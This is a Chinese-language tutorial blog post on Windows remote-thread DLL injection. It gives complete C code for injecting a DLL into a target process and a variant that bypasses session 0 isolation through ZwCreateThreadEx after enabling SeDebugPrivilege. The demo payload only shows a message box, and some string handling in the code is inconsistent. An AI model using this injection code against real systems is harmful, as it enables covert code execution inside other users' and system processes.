技術分享 | DLL注入之遠執行緒注入
0x00 遠執行緒注入
遠執行緒注入是指一個程式在另一個程式中建立執行緒的技術。
0x01 函式介紹
OpenProcess
作用: 開啟現有的本地程式物件。
函式宣告:
HANDLE WINAPI OpenProcess( _In_ DWORD dwDesiredAccess, _In_ BOOL bInheritHandle, _In_ DWORD dwProcessId )
引數:
dwDesiredAccess:
想擁有該程式的訪問許可權,若程式啟動了SeDebugPrivilege許可權,則無論安全描述符內容是什麼,都會授予請求的訪問許可權。
bInheritHandle:
若該值為TRUE,則此程式建立的程式將繼承該控制程式碼。
dwProcessId:
本地程式的PID。
返回值:
成功:返回程式開啟控制程式碼
失敗:返回NULL
VirtualAllocEx
作用: 在指定程式的虛擬地址空間內保留、提交或更改記憶體的狀態。
函式宣告:
LPVOID WINAPI VirtualAllocEx( _In_ HANDLE hProcess, _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect )
引數:
hProcess:
過程的控制程式碼。控制程式碼必須有PROCESS_VM_OPERATION(允許遠端VM操作)許可權。
lpAddress:
指定要分配頁面所需起始地址指標。若為NULL,則自動分配記憶體。
dwSize:
要分配的記憶體大小,單位為位元組。
flAllocationType:
記憶體分配型別。具體引數參考官方手冊。
flProtect:
要分配的頁面區域的記憶體保護。
返回值:
成功:返回分配頁面基址
失敗:返回NULL
WriteProcessMemory
作用: 在指定的程式中將資料寫入記憶體區域,要寫入的整個區域必須可訪問,否則操作失敗。
函式宣告:
BOOL WINAPI WriteProcessMemory( _In_ HANDLE hProcess, _In_ LPVOID lpBaseAddress, _In_ LPCVOID lpBuffer, _In_ SIZE_T nSize, _Out_ SIZE_T *lpNumberOfBytesWritten )
引數:
hProcess:
要修改的程式記憶體的控制程式碼。控制程式碼必須具有PROCESS_VM_WRITE和PROCESS_VM_OPERATION訪問許可權。
lpBaseAddress:
指向指定程式中寫入資料的基地址指標。
lpBuffer:
指向緩衝區的指標,其中包含要寫入指定程式的地址空間中的資料。
nSize:
要寫入指定程式的位元組數。
lpNumberOfBytesWritten:
指向變數的指標,該變數接收傳輸到指定程式的位元組數。
返回值:
成功:返回不為0
失敗:返回0
CreateRemoteThread
作用: 在另一個程式的虛擬地址空間中建立執行的執行緒。
函式宣告:
HANDLE WINAPI CreateRemoteThread( _In_ HANDLE hProcess, _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_ LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_ LPDWORD lpThreadId )
引數:
hProcess:
要建立執行緒的程式控制程式碼。控制程式碼必須具有PROCESS_CREATE_THREAD、RPOCESS_QUERY_INFORMATION、PROCESS_VM_OPERATION、PROCESS_VM_WRITE和PROCESS_VM_READ訪問許可權。
lpThreadAttributes:
指向SECURITY_ATTRIBUTES結構的指標,該結構指定新執行緒的安全描述符,並確定程式是否可以繼承返回的控制程式碼。若為NULL,則執行緒獲取預設的安全描述符,不能繼承該控制程式碼。
dwStackSize:
堆疊的初始大小,以位元組為單位。
lpStartAddress:
指向由執行緒執行型別為LPTHREAD_START_ROUTINE的應用程式定義的函式指標,並表示遠端程式中執行緒的起始地址,該函式必須存在於遠端程式中。
lpParameter:
指向要傳遞給執行緒函式的變數的指標。
dwCreationFlags:
控制執行緒建立的標誌。若為0,表示執行緒在建立後立即執行。
lpThreadId:
指向接收執行緒識別符號的變數的指標。為NULL則不返回執行緒識別符號。
返回值:
成功:返回新執行緒的控制程式碼
失敗:返回NULL
0x02 實現過程
1、獲取LoadLibrary函式的地址,對於kernel32.dll的載入基址在每個程式中都是相同的,所以我們能獲取LoadLibrary函式的地址。
2、呼叫VirtualAllocEx函式向目標程式空間申請一塊記憶體。
3、呼叫WriteProcessMemory函式將指定的DLL路徑寫入到目標程式空間。
4、透過CreateRemoteThread函式載入LoadLibrary函式的地址,進行DLL注入。
0x03 例項程式碼
#include <Windows.h> #include <stdio.h> BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, wchar_t *pszDllFileName) { HANDLE hProcess = NULL; DWORD dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL; // 開啟注入的程式 hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (NULL == hProcess) { printf("Error OpenProcess,%d", GetLastError()); return FALSE; } // 在注入程式中申請記憶體 dwSize = 1 + lstrlen(pszDllFileName); pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (pDllAddr == NULL) { printf("Error VirtualAllocEx,%d", GetLastError()); return FALSE; } // 向申請的記憶體中寫入資料 if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) { printf("Error WriteProcessMemory,%d", GetLastError()); return FALSE; } // 獲取LoadLibraryA函式地址 pFuncProcAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA"); if (NULL == pFuncProcAddr) { printf("Error GetProcAddress,%d", GetLastError()); return FALSE; } // CreateRemoteThreadc建立遠端執行緒,實現dll注入 HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL); if (NULL == hRemoteThread) { printf("Error CreateRemoteThread,%d", GetLastError()); return FALSE; } CloseHandle(hProcess); return TRUE; } int main() { wchar_t* dllPath = (wchar_t*)"D:\\Dll1.dll"; CreateRemoteThreadInjectDll(9956, dllPath); return 0; }
DLL程式碼:
該DLL專案由vs2019生成,注入後自動彈出訊息框
// dllmain.cpp : 定義 DLL 應用程式的入口點。 #include "pch.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH:{ MessageBoxA(NULL, "Inject is OK!", "OK", MB_OK); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
0x04 突破session0隔離的遠執行緒注入
這裡使用到一個函式ZwCreateThreadEx,實際上CreateRemoteThread最終是透過呼叫ZwCreateThreadEx實現遠執行緒建立的,ZwCreateThreadEx更為底層。在核心6.0(Windows VISTA、7、8)之後,由於session隔離機制,在建立程式之後是先掛起程式,檢查程式所在的會話層後再決定是否恢復程式。
在CreateRemoteThread函式呼叫ZwCreateThreadEx函式時,由於ZwCreateThreadEx第七個引數為1,會導致執行緒建立後一直處於掛起狀態,因此我們需要設定ZwCreateThreadEx第七個引數為0。
由於在ntdll.dll中,ZwCreateThreadEx並沒有被宣告,因此需要使用GetProcAddress匯出地址
函式宣告:
win64下:
DWORD WINAPI ZwCreateThreadEx( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown )
win32下:
DWORD WINAPI ZwCreateThreadEx( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown )
例項程式碼:
#include "Windows.h" #include <stdio.h> BOOL ZwCreateThreadExInjectDLL(DWORD dwProcessId, const char* pszDllFileName) { HANDLE hProcess = NULL; SIZE_T dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL; HANDLE hRemoteThread = NULL; DWORD dwStatus = 0; // 開啟程式 hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (NULL == hProcess) { printf("Error OpenProcess:%d", GetLastError()); return FALSE; } // 申請記憶體 dwSize = 1 + ::lstrlen(pszDllFileName); pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (pDllAddr == NULL){ printf("Error VirtualAllocEx:%d", GetLastError()); return FALSE; } // 寫入資料 if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) { printf("Error WriteProcessMemory:%d", GetLastError()); return FALSE; } #ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown); #else typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown); #endif // 載入ntdll.dll HMODULE hNtdllDll = LoadLibrary("ntdll.dll"); if (NULL == hNtdllDll) { printf("Error Load 'ntdll.dll':%d", GetLastError()); return FALSE; } // 獲取LoadLibraryA函式地址 pFuncProcAddr = GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA"); if (NULL == pFuncProcAddr) { printf("Error GetProcAddress 'LoadLibraryW':%d", GetLastError()); return FALSE; } // 獲取ZwCreateThreadEx函式地址 typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx"); if (NULL == ZwCreateThreadEx) { printf("Error GetProcAddress 'ZwCreateThreadEx':%d", GetLastError()); return FALSE; } // 使用ZwCreateThreadEx建立遠執行緒,實現DLL注入 dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL); if (NULL == hRemoteThread) { printf("Error Inject DLL:%u", dwStatus); return FALSE; } CloseHandle(hProcess); FreeLibrary(hNtdllDll); return TRUE; } // OpenProcess開啟高許可權的程式需要提權 BOOL EnbalePrivileges(HANDLE hProcess, const char* pszPrivilegesName) { HANDLE hToken = NULL; LUID luidValue = { 0 }; TOKEN_PRIVILEGES tokenPrivileges = { 0 }; BOOL bRet = FALSE; DWORD dwRet = 0; // 開啟程式令牌並獲取程式令牌控制程式碼 bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken); if (FALSE == bRet) { printf("OpenProcessToken"); return FALSE; } // 獲取本地系統的 pszPrivilegesName 特權的LUID值 bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue); if (FALSE == bRet){ printf("LookupPrivilegeValue"); return FALSE; } // 設定提升許可權資訊 tokenPrivileges.PrivilegeCount = 1; tokenPrivileges.Privileges[0].Luid = luidValue; tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 提升程式令牌訪問許可權 bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL); if (FALSE == bRet){ printf("AdjustTokenPrivileges"); return FALSE; } else{ // 根據錯誤碼判斷是否特權都設定成功 dwRet = ::GetLastError(); if (ERROR_SUCCESS == dwRet){ printf("SUCCESS!!"); return TRUE; } else if (ERROR_NOT_ALL_ASSIGNED == dwRet){ printf("ERROR_NOT_ALL_ASSIGNED"); return FALSE; } } return FALSE; } int main() { HANDLE hProcess = GetCurrentProcess(); EnbalePrivileges(hProcess, SE_DEBUG_NAME); const char* dllPath = "E:\\Dll1.dll"; ZwCreateThreadExInjectDLL(2940, dllPath); return 0; }
執行結果:
0x05 踩坑記錄
1、如果注入到x64程式,最好exe、dll都編譯成x64
2、注入dll需要與注入程式的字符集相同,vs2019可以在專案屬性->高階處選擇字符集(被這裡坑了好久,普通session層可以注入,session0注入不了,查了好久,最後一個大佬說字符集要相同,後面將dll、exe字符集改成多字符集註入成功了)
相關文章
- 遠端執行緒注入dll,突破session 02021-04-16執行緒Session
- 遠端執行緒注入DLL突破session 0 隔離2021-09-14執行緒Session
- 程式注入之DLL注入2018-04-17
- C# DLL注入技術2013-10-04C#
- 詳細解讀:遠端執行緒注入DLL到PC版微信2019-05-11執行緒
- DLL解除安裝(建立遠端執行緒解除安裝強制注入的dll)2021-04-13執行緒
- Windows程式設計系列:遠執行緒注入2024-03-13Windows程式設計執行緒
- 遠端執行緒注入引出的問題2013-05-26執行緒
- PHP 執行注入分享2017-10-10PHP
- IOC注入技術之編譯時注入2020-12-13編譯
- win10最強注入工具,遠端執行緒注入、訊息鉤子注入、輸入法注入、EIP注入、登錄檔注入、APC注入(APC好像不能用)2020-12-30Win10執行緒
- 程式碼注入之遠端呼叫執行緒的一些問題2019-05-26執行緒
- 遊戲安全入門-掃雷分析&遠端執行緒注入2024-08-13遊戲執行緒
- C++ DLL注入和程式碼注入2013-10-04C++
- 遠端執行緒嵌入技術 (轉)2007-12-14執行緒
- 使用微軟Detours庫進行DLL注入2024-08-20微軟
- COM 程式注入技術2023-01-17
- SQL 注入技術詳解2016-06-24SQL
- [原創]注入技術系列:一個批量驗證DLL劫持的工具2020-01-31
- [原創]注入技術系列:一個批次驗證DLL劫持的工具2020-09-03
- sql注入之union注入2020-12-13SQL
- 驅動注入使用者執行緒之跨session通知csrss之真正解決2018-03-12執行緒Session
- Spring高階裝配之執行時注入2016-08-17Spring
- 8 - DLL注入和解除安裝2020-03-27
- sql注入之堆疊注入及waf繞過注入2021-08-03SQL
- 資料庫注入技術小結2009-10-23資料庫
- 最新堆疊查詢注入攻擊和注入程式碼分析技術2024-03-08
- 聊聊執行緒技術與執行緒實現模型2016-06-24執行緒模型
- IOS 多執行緒技術2016-05-23iOS執行緒
- C++ DLL注入工具完整原始碼2022-01-29C++原始碼
- Windows提權實戰————4、DLL注入2018-05-23Windows
- QueueUserApc實現DLL注入的測試2013-05-03
- WINDWOS 系統程式DLL檔案注入。2009-07-12
- sql注入之型別及提交注入2021-07-30SQL型別
- 技術分享 | 一種針對PHP物件注入漏洞的新型利用方法2018-08-31PHP物件
- 多執行緒核心技術(1)-執行緒的基本方法2019-04-13執行緒
- SQL 注入,永不過時的黑客技術2016-03-23SQL黑客
- Windows訊息鉤取(簡單DLL注入)2021-04-22Windows